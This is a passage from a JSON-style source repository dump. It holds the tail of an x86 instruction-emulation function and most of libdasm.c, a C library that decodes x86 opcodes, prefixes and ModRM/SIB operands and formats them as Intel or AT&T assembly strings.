(int8_t)*i->imm8;\n\t\t\tINSTR_CALC_AND_SET_FLAGS(32, \n\t\t\t\t\t\t\t\t\t c, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t sexd, \n\t\t\t\t\t\t\t\t\t c->reg[i->modrm.rm], \n\t\t\t\t\t\t\t\t\t ^)\n\n\t\t\tTRACK_NEED_REG32(c->instr, i->modrm.rm);\n\t\t\tTRACK_INIT_REG32(c->instr, i->modrm.rm);\n\n\t\t}\n\t}\n\treturn 0;\n}\n\n"
  },
  {
    "path": "src/libdasm.c",
    "content": "\n/*\n * libdasm -- simple x86 disassembly library\n * (c) 2004 - 2006  jt / nologin.org\n *\n * libdasm.c:\n * This file contains most code of libdasm. Check out\n * libdasm.h for function definitions.\n *\n */\n\n#include <stdio.h>\n#include <string.h>\n#include \"libdasm.h\"\n#include \"opcode_tables.h\"\n\n\n// Endianess conversion routines (thanks Ero)\n\nBYTE FETCH8(BYTE *addr) {\n\t// So far byte cast seems to work on all tested platforms\n\treturn *(BYTE *)addr;\t\n}\n\nWORD FETCH16(BYTE *addr) {\n#if defined __X86__\n\t// Direct cast only for x86\n\treturn *(WORD *)addr;\n#else\n\t// Revert to memcpy\n\tWORD val;\n\tmemcpy(&val, addr, 2);\n#if defined __LITTLE_ENDIAN__\n\treturn val;\n#else\n\treturn  ((val & 0xff00) >> 8) |\n\t\t((val & 0x00ff) << 8);\n\n#endif // __LITTLE_ENDIAN__\n#endif // __X86__\n}\n\nDWORD FETCH32(BYTE *addr) {\n#if defined __X86__\n\treturn *(DWORD *)addr;\t\n#else\n\tDWORD val;\n\tmemcpy(&val, addr, 4);\n#if defined __LITTLE_ENDIAN__\n\treturn val;\n#else\n\treturn  ((val & (0xff000000)) >> 24) |\n\t\t((val & (0x00ff0000)) >> 8)  |\n\t\t((val & (0x0000ff00)) << 8)  |\n\t\t((val & (0x000000ff)) << 24);\n\n#endif // __LITTLE_ENDIAN__\n#endif // __X86__\n}\n\n// Check for address/operand size override\n\nenum Mode MODE_CHECK_ADDR(enum Mode mode, int flags) {\n\tif (((mode == MODE_32) && (MASK_PREFIX_ADDR(flags) == 0)) ||\n    \t    ((mode == MODE_16) && (MASK_PREFIX_ADDR(flags) == 1)))\n\t\treturn MODE_32;\n\telse \n\t\treturn MODE_16;\n}\n\nenum Mode MODE_CHECK_OPERAND(enum Mode mode, int flags) {\n\tif (((mode == MODE_32) && (MASK_PREFIX_OPERAND(flags) == 0)) ||\n    \t    ((mode == MODE_16) && (MASK_PREFIX_OPERAND(flags) == 1)))\n\t\treturn MODE_32;\n\telse \n\t\treturn MODE_16;\n}\n\n\n// Parse 2 and 3-byte opcodes\n\nint get_real_instruction2(BYTE *addr, int *flags) {\n\tswitch (*addr) {\n\n\t\t// opcode extensions for 2-byte opcodes\n\t\tcase 0x00:\n\t\t\t// Clear extension\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_G6;\n\t\t\tbreak;\n\t\tcase 0x01:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_G7;\n\t\t\tbreak;\n\t\tcase 0x71:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_GC;\n\t\t\tbreak;\n\t\tcase 0x72:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_GD;\n\t\t\tbreak;\n\t\tcase 0x73:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_GE;\n\t\t\tbreak;\n\t\tcase 0xae:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_GF;\n\t\t\tbreak;\n\t\tcase 0xba:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_G8;\n\t\t\tbreak;\n\t\tcase 0xc7:\n\t\t\t*flags &= 0xffffff00;\n\t\t\t*flags |= EXT_G9;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\treturn 0;\n}\n\n// Parse instruction flags, get opcode index\n\nint get_real_instruction(BYTE *addr, int *index, int *flags) {\n\tswitch (*addr) {\n\n\t\t// 2-byte opcode\n\t\tcase 0x0f:\n\t\t\t*index += 1;\n\t\t\t*flags |= EXT_T2;\n\t\t\tbreak;\n\n\t\t// Prefix group 2\n\t\tcase 0x2e:\n\t\t\t*index += 1;\n\t\t\t// Clear previous flags from same group (undefined effect)\n\t\t\t*flags &= 0xff00ffff;\n\t\t\t*flags |= PREFIX_CS_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags);\n\t\t\tbreak;\n\t\tcase 0x36:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0xff00ffff;\n\t\t\t*flags |= PREFIX_SS_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags);\n\t\t\tbreak;\n\t\tcase 0x3e:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0xff00ffff;\n\t\t\t*flags |= PREFIX_DS_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags);\n\t\t\tbreak;\n\t\tcase 0x26:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0xff00ffff;\n\t\t\t*flags |= PREFIX_ES_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags);\n\t\t\tbreak;\n\t\tcase 0x64:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0xff00ffff;\n\t\t\t*flags |= PREFIX_FS_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags);\n\t\t\tbreak;\n\t\tcase 0x65:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0xff00ffff;\n\t\t\t*flags |= PREFIX_GS_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags);\n\t\t\tbreak;\n\t\t// Prefix group 3 or 3-byte opcode\n\t\tcase 0x66:\n\t\t\t// Do not clear flags from the same group!!!!\n\t\t\t*index += 1;\n\t\t\t*flags |= PREFIX_OPERAND_SIZE_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags); \n\t\t\tbreak;\n\t\t// Prefix group 4\n\t\tcase 0x67:\n\t\t\t// Do not clear flags from the same group!!!!\n\t\t\t*index += 1;\n\t\t\t*flags |=  PREFIX_ADDR_SIZE_OVERRIDE;\n\t\t\tget_real_instruction(addr + 1, index, flags); \n\t\t\tbreak;\n\n\t\t// Extension group 1\n\t\tcase 0x80:\n\t\t\t*flags |=  EXT_G1_1;\n\t\t\tbreak;\n\t\tcase 0x81:\n\t\t\t*flags |=  EXT_G1_2;\n\t\t\tbreak;\n\t\tcase 0x82:\n\t\t\t*flags |=  EXT_G1_1;\n\t\t\tbreak;\n\t\tcase 0x83:\n\t\t\t*flags |=  EXT_G1_3;\n\t\t\tbreak;\n\n\t\t// Extension group 2\n\t\tcase 0xc0:\n\t\t\t*flags |=  EXT_G2_1;\n\t\t\tbreak;\n\t\tcase 0xc1:\n\t\t\t*flags |=  EXT_G2_2;\n\t\t\tbreak;\n\t\tcase 0xd0:\n\t\t\t*flags |=  EXT_G2_3;\n\t\t\tbreak;\n\t\tcase 0xd1:\n\t\t\t*flags |=  EXT_G2_4;\n\t\t\tbreak;\n\t\tcase 0xd2:\n\t\t\t*flags |=  EXT_G2_5;\n\t\t\tbreak;\n\t\tcase 0xd3:\n\t\t\t*flags |=  EXT_G2_6;\n\t\t\tbreak;\n\n\t\t// Escape to co-processor\n\t\tcase 0xd8:\n\t\tcase 0xd9:\n\t\tcase 0xda:\n\t\tcase 0xdb:\n\t\tcase 0xdc:\n\t\tcase 0xdd:\n\t\tcase 0xde:\n\t\tcase 0xdf:\n\t\t\t*index += 1;\n\t\t\t*flags |=  EXT_CP;\n\t\t\tbreak;\n\n\t\t// Prefix group 1 or 3-byte opcode\n\t\tcase 0xf0:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0x00ffffff;\n\t\t\t*flags |=  PREFIX_LOCK;\n\t\t\tget_real_instruction(addr + 1, index, flags); \n\t\t\tbreak;\n\t\tcase 0xf2:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0x00ffffff;\n\t\t\t*flags |=  PREFIX_REPNE;\n\t\t\tget_real_instruction(addr + 1, index, flags); \n\t\t\tbreak;\n\t\tcase 0xf3:\n\t\t\t*index += 1;\n\t\t\t*flags &= 0x00ffffff;\n\t\t\t*flags |=  PREFIX_REP;\n\t\t\tget_real_instruction(addr + 1, index, flags); \n\t\t\tbreak;\n\n\t\t// Extension group 3\n\t\tcase 0xf6:\n\t\t\t*flags |=  EXT_G3_1;\n\t\t\tbreak;\n\t\tcase 0xf7:\n\t\t\t*flags |=  EXT_G3_2;\n\t\t\tbreak;\n\n\t\t// Extension group 4\n\t\tcase 0xfe:\n\t\t\t*flags |=  EXT_G4;\n\t\t\tbreak;\n\n\t\t// Extension group 5\n\t\tcase 0xff:\n\t\t\t*flags |=  EXT_G5;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n\treturn 0;\n}\n\n// Parse operand and fill OPERAND structure\n\n/*\n * This function is quite complex.. I'm not perfectly happy\n * with the logic yet. Anyway, the idea is to\n *\n * - check out modrm and sib\n * - based on modrm/sib and addressing method (AM_X),\n *   figure out the operand members and fill the struct\n *\n */\nint get_operand(PINST inst, int oflags, PINSTRUCTION instruction,\n\tPOPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) {\n\tBYTE *addr = data + offset;\n\tint index = 0, sib = 0, scale = 0;\n\tint reg      = REG_NOP;\n\tint basereg  = REG_NOP;\n\tint indexreg = REG_NOP;\n\tint dispbytes = 0;\n\tenum Mode pmode;\n\n\t// Is this valid operand?\n\tif (oflags == FLAGS_NONE) {\n\t\top->type = OPERAND_TYPE_NONE;\n\t\treturn 1;\n\t}\n\t// Copy flags\n\top->flags = oflags;\n\n\t// Set operand registers\n\top->reg      = REG_NOP;\n\top->basereg  = REG_NOP;\n\top->indexreg = REG_NOP;\n\n\t// Offsets\n\top->dispoffset = 0;\n\top->immoffset  = 0;\n\n\t// Parse modrm and sib\n\tif (inst->modrm) {\n\t\tpmode = MODE_CHECK_ADDR(mode, iflags);\n\n\t\t// Update length only once!\n\t\tif (!instruction->length) {\n\t\t\tinstruction->modrm = *addr;\n\t\t\tinstruction->length += 1;\n\t\t}\n\t\t// Register\n\t\treg =  MASK_MODRM_REG(*addr);\n\n\t\t// Displacement bytes\n\t\t// SIB can also specify additional displacement, see below\n\t\tif (MASK_MODRM_MOD(*addr) == 0) {\n\t\t\tif ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP))\n\t\t\t\tdispbytes = 4;\n\t\t\tif ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI))\n\t\t\t\tdispbytes = 2;\n\t\t} else if (MASK_MODRM_MOD(*addr) == 1) {\n\t\t\tdispbytes = 1;\n\n\t\t} else if (MASK_MODRM_MOD(*addr) == 2) {\n\t\t\tdispbytes = (pmode == MODE_32) ? 4 : 2; \n\t\t}\n\t\t// Base and index registers\n\n\t\t// 32-bit mode\n\t\tif (pmode == MODE_32) {\n\t\t\tif ((MASK_MODRM_RM(*addr) == REG_ESP) && \n\t\t\t\t\t(MASK_MODRM_MOD(*addr) != 3)) {\n\t\t\t\tsib = 1;\n\t\t\t\tinstruction->sib = *(addr + 1);\n\n\t\t\t\t// Update length only once!\n\t\t\t\tif (instruction->length == 1) {\n\t\t\t\t\tinstruction->sib = *(addr + 1);\n\t\t\t\t\tinstruction->length += 1;\n\t\t\t\t}\n\t\t\t\tbasereg  = MASK_SIB_BASE( *(addr + 1));\n\t\t\t\tindexreg = MASK_SIB_INDEX(*(addr + 1));\n\t\t\t\tscale    = MASK_SIB_SCALE(*(addr + 1)) * 2;\n\t\t\t\t// Fix scale *8\n\t\t\t\tif (scale == 6)\n\t\t\t\t\tscale += 2;\n\n\t\t\t\t// Special case where base=ebp and MOD = 0\n\t\t\t\tif ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) {\n\t\t\t\t\tbasereg = REG_NOP;\n\t\t\t\t\t\tdispbytes = 4;\n\t\t\t\t}\n\t\t\t\tif (indexreg == REG_ESP)\n\t\t\t\t\tindexreg = REG_NOP;\n\t\t\t} else {\n\t\t\t\tif (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP))\n\t\t\t\t\tbasereg = REG_NOP;\n\t\t\t\telse\n\t\t\t\t\tbasereg = MASK_MODRM_RM(*addr);\n\t\t\t}\n\t\t// 16-bit\n\t\t} else {\n\t\t\tswitch (MASK_MODRM_RM(*addr)) {\n\t\t\t\tcase 0:\n\t\t\t\t\tbasereg  = REG_EBX;\n\t\t\t\t\tindexreg = REG_ESI;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 1:\n\t\t\t\t\tbasereg  = REG_EBX;\n\t\t\t\t\tindexreg = REG_EDI;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 2:\n\t\t\t\t\tbasereg  = REG_EBP;\n\t\t\t\t\tindexreg = REG_ESI;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 3:\n\t\t\t\t\tbasereg  = REG_EBP;\n\t\t\t\t\tindexreg = REG_EDI;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\tbasereg  = REG_ESI;\n\t\t\t\t\tindexreg = REG_NOP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 5:\n\t\t\t\t\tbasereg  = REG_EDI;\n\t\t\t\t\tindexreg = REG_NOP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 6:\n\t\t\t\t\tif (!MASK_MODRM_MOD(*addr))\n\t\t\t\t\t\tbasereg = REG_NOP;\n\t\t\t\t\telse\n\t\t\t\t\t\tbasereg = REG_EBP;\n\t\t\t\t\tindexreg = REG_NOP;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 7:\n\t\t\t\t\tbasereg  = REG_EBX;\n\t\t\t\t\tindexreg = REG_NOP;\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (MASK_MODRM_MOD(*addr) == 3) {\n\t\t\t\tbasereg  = MASK_MODRM_RM(*addr);\n\t\t\t\tindexreg = REG_NOP;\n\t\t\t}\n\t\t}\n\t}\n\n\t// Operand addressing method -specific parsing\n\tswitch (MASK_AM(oflags)) {\n\n\t\t// Register encoded in instruction\n\t\tcase AM_REG:\n\t\t\top->type = OPERAND_TYPE_REGISTER;\n\t\t\top->reg  = MASK_REG(oflags);\n\t\t\tbreak;\n\n\t\t// Register indirect encoded in instruction\n\t\tcase AM_IND:\n\t\t\top->type    = OPERAND_TYPE_MEMORY;\n\t\t\top->basereg = MASK_REG(oflags);\n\t\t\tbreak;\n\n\t\t// Register/memory encoded in MODRM\n\t\tcase AM_M:\n\t\t\tif (MASK_MODRM_MOD(*addr) == 3)\n\t\t\t\treturn 0;\n\t\t\tgoto skip_rest;\n\t\tcase AM_R:\n\t\t\tif (MASK_MODRM_MOD(*addr) != 3)\n\t\t\t\treturn 0;\nskip_rest:\n\t\tcase AM_Q:\n\t\tcase AM_W:\n\t\tcase AM_E:\n\t\t\top->type = OPERAND_TYPE_MEMORY;\n\t\t\top->dispbytes          = dispbytes;\n\t\t\tinstruction->dispbytes = dispbytes;\n\t\t\top->basereg            = basereg;\n\t\t\top->indexreg           = indexreg;\n\t\t\top->scale              = scale;\n\n\t\t\tindex = (sib) ? 1 : 0;\n\t\t\tif (dispbytes)\n\t\t\t\top->dispoffset = index + 1 + offset;\n\t\t\tswitch (dispbytes) {\n\t\t\t\tcase 0:\n\t\t\t\t\tbreak;\n\t\t\t\tcase 1:\n\t\t\t\t\top->displacement = FETCH8(addr + 1 + index);\n\t\t\t\t\t// Always sign-extend\n\t\t\t\t\tif (op->displacement >= 0x80)\n\t\t\t\t\t\top->displacement |= 0xffffff00;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 2:\n\t\t\t\t\top->displacement = FETCH16(addr + 1 + index);\n\t\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\top->displacement = FETCH32(addr + 1 + index);\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t// MODRM defines register\n\t\t\tif ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) { \n\t\t\t\top->type = OPERAND_TYPE_REGISTER;\n\t\t\t\top->reg  = basereg;\n\t\t\t}\n\t\t\tbreak;\n\n\t\t// Immediate byte 1 encoded in instruction\n\t\tcase AM_I1:\n\t\t\top->type = OPERAND_TYPE_IMMEDIATE;\n\t\t\top->immbytes  = 1;\n\t\t\top->immediate = 1;\n\t\t\tbreak;\n\t\t// Immediate value\n\t\tcase AM_J:\n\t\t\top->type = OPERAND_TYPE_IMMEDIATE;\n\t\t\t// Always sign-extend\n\t\t\toflags |= F_s;\n\t\t\tbreak;\n\t\tcase AM_I:\n\t\t\top->type = OPERAND_TYPE_IMMEDIATE;\n\t\t\tindex  = (inst->modrm) ? 1 : 0;\n\t\t\tindex += (sib) ? 1 : 0;\n\t\t\tindex += instruction->immbytes;\n\t\t\tindex += instruction->dispbytes;\n\t\t\top->immoffset = index + offset;\n\n\t\t\t// check mode\n\t\t\tmode = MODE_CHECK_OPERAND(mode, iflags);\n\n\t\t\tswitch (MASK_OT(oflags)) {\n\t\t\t\tcase OT_b:\n\t\t\t\t\top->immbytes  = 1;\n\t\t\t\t\top->immediate = FETCH8(addr + index);\n\t\t\t\t\tif ((op->immediate >= 0x80) &&\n\t\t\t\t\t\t(MASK_FLAGS(oflags) == F_s))\n\t\t\t\t\t\top->immediate |= 0xffffff00;\n\t\t\t\t\tbreak;\n\t\t\t\tcase OT_v:\n\t\t\t\t\top->immbytes  = (mode == MODE_32) ?\n\t\t\t\t\t\t4 : 2;\n\t\t\t\t\top->immediate = (mode == MODE_32) ?\n\t\t\t\t\t\tFETCH32(addr + index) :\n\t\t\t\t\t\tFETCH16(addr + index);\n\t\t\t\t\tbreak;\n\t\t\t\tcase OT_w:\n\t\t\t\t\top->immbytes  = 2;\n\t\t\t\t\top->immediate =\tFETCH16(addr + index);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tinstruction->immbytes += op->immbytes;\n\t\t\tbreak;\n\n\t\t// 32-bit or 48-bit address\n\t\tcase AM_A:\n\t\t\top->type = OPERAND_TYPE_IMMEDIATE;\n\t\t\t// check mode\n\t\t\tmode = MODE_CHECK_OPERAND(mode, iflags);\n\n\t\t\top->dispbytes    = (mode == MODE_32) ? 6 : 4;\n\t\t\top->displacement = (mode == MODE_32) ?\n\t\t\t\tFETCH32(addr) : FETCH16(addr);\n\t\t\top->section = FETCH16(addr + op->dispbytes - 2);\n\n\t\t\tinstruction->dispbytes    = op->dispbytes;\n\t\t\tinstruction->sectionbytes = 2;\n\t\t\tbreak;\n\n\t\t// Plain displacement without MODRM/SIB\n\t\tcase AM_O:\n\t\t\top->type = OPERAND_TYPE_MEMORY;\n\t\t\tswitch (MASK_OT(oflags)) {\n\t\t\t\tcase OT_b:\n\t\t\t\t\top->dispbytes    = 1;\n\t\t\t\t\top->displacement = FETCH8(addr);\n\t\t\t\t\tbreak;\n\t\t\t\tcase OT_v:\n\t\t\t\t\top->dispbytes    = (mode == MODE_32) ? 4 : 2;\n\t\t\t\t\top->displacement = (mode == MODE_32) ?\n\t\t\t\t\t\tFETCH32(addr) : FETCH16(addr);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t\tinstruction->dispbytes = op->dispbytes;\n\t\t\top->dispoffset = offset;\n\t\t\tbreak;\n\n\t\t// General-purpose register encoded in MODRM\n\t\tcase AM_G:\n\t\t\top->type = OPERAND_TYPE_REGISTER;\n\t\t\top->reg  = reg;\n\t\t\tbreak;\n\n\t\t// control register encoded in MODRM\n\t\tcase AM_C:\n\t\t// debug register encoded in MODRM\n\t\tcase AM_D:\n\t\t// Segment register encoded in MODRM\n\t\tcase AM_S:\n\t\t// TEST register encoded in MODRM\n\t\tcase AM_T:\n\t\t// MMX register encoded in MODRM\n\t\tcase AM_P:\n\t\t// XMM register encoded in MODRM\n\t\tcase AM_V:\n\t\t\top->type = OPERAND_TYPE_REGISTER;\n\t\t\top->reg  = MASK_MODRM_REG(instruction->modrm);\n\t\t\tbreak;\n\t}\n\treturn 1;\n}\n\n\n// Print operand string\n\n#if !defined NOSTR\nint get_operand_string(INSTRUCTION *inst, OPERAND *op,\n\tenum Format format, DWORD offset, char *string, int length) {\n\t\n\tenum Mode mode;\n\tint regtype = 0;\n\tDWORD tmp = 0;\n\n\tmemset(string, 0, length);\n\n\tif (op->type == OPERAND_TYPE_REGISTER) {\n\t\t// check mode\n\t\tmode = MODE_CHECK_OPERAND(inst->mode, inst->flags);\n\n\t\tif (format == FORMAT_ATT)\n\t\t\tsnprintf(string + strlen(string), length - strlen(string), \"%%\");\n\t\n\t\t// Determine register type\n\t\tswitch (MASK_AM(op->flags)) {\n\t\t\tcase AM_REG:\n\t\t\t\tif (MASK_FLAGS(op->flags) == F_r)\n\t\t\t\t\tregtype = REG_SEGMENT;\n\t\t\t\telse if (MASK_FLAGS(op->flags) == F_f)\n\t\t\t\t\tregtype = REG_FPU;\n\t\t\t\telse\n\t\t\t\t\tregtype = REG_GEN_DWORD;\n\t\t\t\tbreak;\n\t\t\tcase AM_E:\n\t\t\tcase AM_G:\n\t\t\tcase AM_R:\n\t\t\t\tregtype = REG_GEN_DWORD;\n\t\t\t\tbreak;\n\t\t\t// control register encoded in MODRM\n\t\t\tcase AM_C:\n\t\t\t\tregtype = REG_CONTROL;\n\t\t\t\tbreak;\n\t\t\t// debug register encoded in MODRM\n\t\t\tcase AM_D:\n\t\t\t\tregtype = REG_DEBUG;\n\t\t\t\tbreak;\n\t\t\t// Segment register encoded in MODRM\n\t\t\tcase AM_S:\n\t\t\t\tregtype = REG_SEGMENT;\n\t\t\t\tbreak;\n\t\t\t// TEST register encoded in MODRM\n\t\t\tcase AM_T:\n\t\t\t\tregtype = REG_TEST;\n\t\t\t\tbreak;\n\t\t\t// MMX register encoded in MODRM\n\t\t\tcase AM_P:\n\t\t\tcase AM_Q:\n\t\t\t\tregtype = REG_MMX;\n\t\t\t\tbreak;\n\t\t\t// XMM register encoded in MODRM\n\t\t\tcase AM_V:\n\t\t\tcase AM_W:\n\t\t\t\tregtype = REG_XMM;\n\t\t\t\tbreak;\n\t\t}\n\t\tif (regtype == REG_GEN_DWORD) {\n\t\t\t switch (MASK_OT(op->flags)) {\n\t\t\t\tcase OT_b:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", reg_table[REG_GEN_BYTE][op->reg]);\n                                        break;\n\t\t\t\tcase OT_v:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", (mode == MODE_32) ?\n\t\t\t\t\t\treg_table[REG_GEN_DWORD][op->reg] :\n\t\t\t\t\t\treg_table[REG_GEN_WORD][op->reg]);\n                                        break;\n\t\t\t\tcase OT_w:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", reg_table[REG_GEN_WORD][op->reg]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase OT_d:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", reg_table[REG_GEN_DWORD][op->reg]);\n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\"%s\", reg_table[regtype][op->reg]);\n\n\t} else if (op->type == OPERAND_TYPE_MEMORY) {\n\t\t// check mode\n\t\tmode = MODE_CHECK_ADDR(inst->mode, inst->flags);\n\n\t\t// Operand-specific segment override \n\t\tif (MASK_PREFIX_G2(inst->flags))\n\t\t\tsnprintf(string + strlen(string),\n\t\t\t\tlength - strlen(string),\n\t\t\t\t\"%s%s:\", (format == FORMAT_ATT) ? \"%\" : \"\", \n\t\t\t\treg_table[REG_SEGMENT][(MASK_PREFIX_G2(inst->flags)) - 1]);\n\t\t// Some ATT stuff we need to check at this point\n\t\tif (format == FORMAT_ATT) {\n\n\t\t\t// \"executable\" operand\n\t\t\tif (MASK_PERMS(op->flags) == P_x)\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string), \"*\");\n\n\t\t\t// displacement in front of brackets\n\t\t\tif (op->dispbytes)\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\"0x%x\", op->displacement); \n\n\t\t\t// no empty brackets - we're ready\n\t\t\tif ((op->basereg  == REG_NOP) &&\n\t\t\t    (op->indexreg == REG_NOP))\n\t\t\t\treturn 1;\n\t\t}\n\t\t// Open memory addressing brackets\n\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\"%s\", (format == FORMAT_ATT) ? \"(\" : \"[\"); \n\n\t\t// Base register\n\t\tif (op->basereg != REG_NOP) {\n\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\"%s%s\", (format == FORMAT_ATT) ? \"%\" : \"\", \n\t\t\t\t(mode == MODE_32) ?\n\t\t\t\treg_table[REG_GEN_DWORD][op->basereg] :\n\t\t\t\treg_table[REG_GEN_WORD][op->basereg]);\n\t\t}\n\t\t// Index register\n\t\tif (op->indexreg != REG_NOP) {\n\t\t\tif (op->basereg != REG_NOP)\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"%s%s\", (format == FORMAT_ATT) ? \",%\" : \"+\", \n\t\t\t\t\t(mode == MODE_32) ?\n\t\t\t\t\treg_table[REG_GEN_DWORD][op->indexreg] :\n\t\t\t\t\treg_table[REG_GEN_WORD][op->indexreg]); \n\t\t\telse\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"%s%s\", (format == FORMAT_ATT) ? \"%\" : \"\",\n\t\t\t\t\t(mode == MODE_32) ?\n\t\t\t\t\treg_table[REG_GEN_DWORD][op->indexreg] :\n\t\t\t\t\treg_table[REG_GEN_WORD][op->indexreg]); \n\t\t\tswitch (op->scale) {\n\t\t\t\tcase 2:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\",2\" : \"*2\"); \n\t\t\t\t\tbreak;\n\t\t\t\tcase 4:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\",4\" : \"*4\"); \n\t\t\t\t\tbreak;\n\t\t\t\tcase 8:\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\t\"%s\", (format == FORMAT_ATT) ?\n\t\t\t\t\t\t\",8\" : \"*8\"); \n\t\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t// INTEL displacement\n\t\tif (inst->dispbytes && (format != FORMAT_ATT)) {\n\t\t\tif ((op->basereg != REG_NOP) || (op->indexreg != REG_NOP)) {\n\t\t\t\t// Negative displacement\n\t\t\t\tif (op->displacement & (1<<(op->dispbytes*8-1))) {\n\t\t\t\t\ttmp = op->displacement;\n\t\t\t\t\tswitch (op->dispbytes) {\n\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\ttmp = ~tmp & 0xff;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 2:\n\t\t\t\t\t\t\ttmp = ~tmp & 0xffff;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 4:\n\t\t\t\t\t\t\ttmp = ~tmp;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\t\"-0x%x\", tmp + 1);\n\t\t\t\t// Positive displacement\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\t\"+0x%x\", op->displacement);\n\t\t\t// Plain displacement\n\t\t\t} else {\n\t\t\t\tsnprintf(string + strlen(string),\n\t\t\t\t\tlength - strlen(string),\n\t\t\t\t\t\"0x%x\", op->displacement);\n\t\t\t}\n\t\t}\n\t\t// Close memory addressing brackets\n\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\"%s\", (format == FORMAT_ATT) ? \")\" : \"]\"); \n\n\t} else if (op->type == OPERAND_TYPE_IMMEDIATE) {\n\n\t\tswitch (MASK_AM(op->flags)) {\n\t\t\tcase AM_J:\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"0x%x\", op->immediate + inst->length + offset);\n\t\t\t\tbreak;\n\t\t\tcase AM_I1:\n\t\t\tcase AM_I:\n\t\t\t\tif (format == FORMAT_ATT)\n\t\t\t\t\tsnprintf(string + strlen(string), length - strlen(string), \"$\");\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"0x%x\", op->immediate);\n\t\t\t\tbreak;\n\t\t\t// 32-bit or 48-bit address\n\t\t\tcase AM_A:\n\t\t\t\tsnprintf(string + strlen(string), length - strlen(string),\n\t\t\t\t\t\"%s0x%x:%s0x%x\",\n\t\t\t\t\t(format == FORMAT_ATT) ? \"$\" : \"\",\n\t\t\t\t\top->section, \n\t\t\t\t\t(format == FORMAT_ATT) ? \"$\" : \"\",\n\t\t\t\t\top->displacement);\n\t\t\t\tbreak;\n\t\t}\n\n\t}\n\telse\n\t\treturn 0;\n\n\treturn 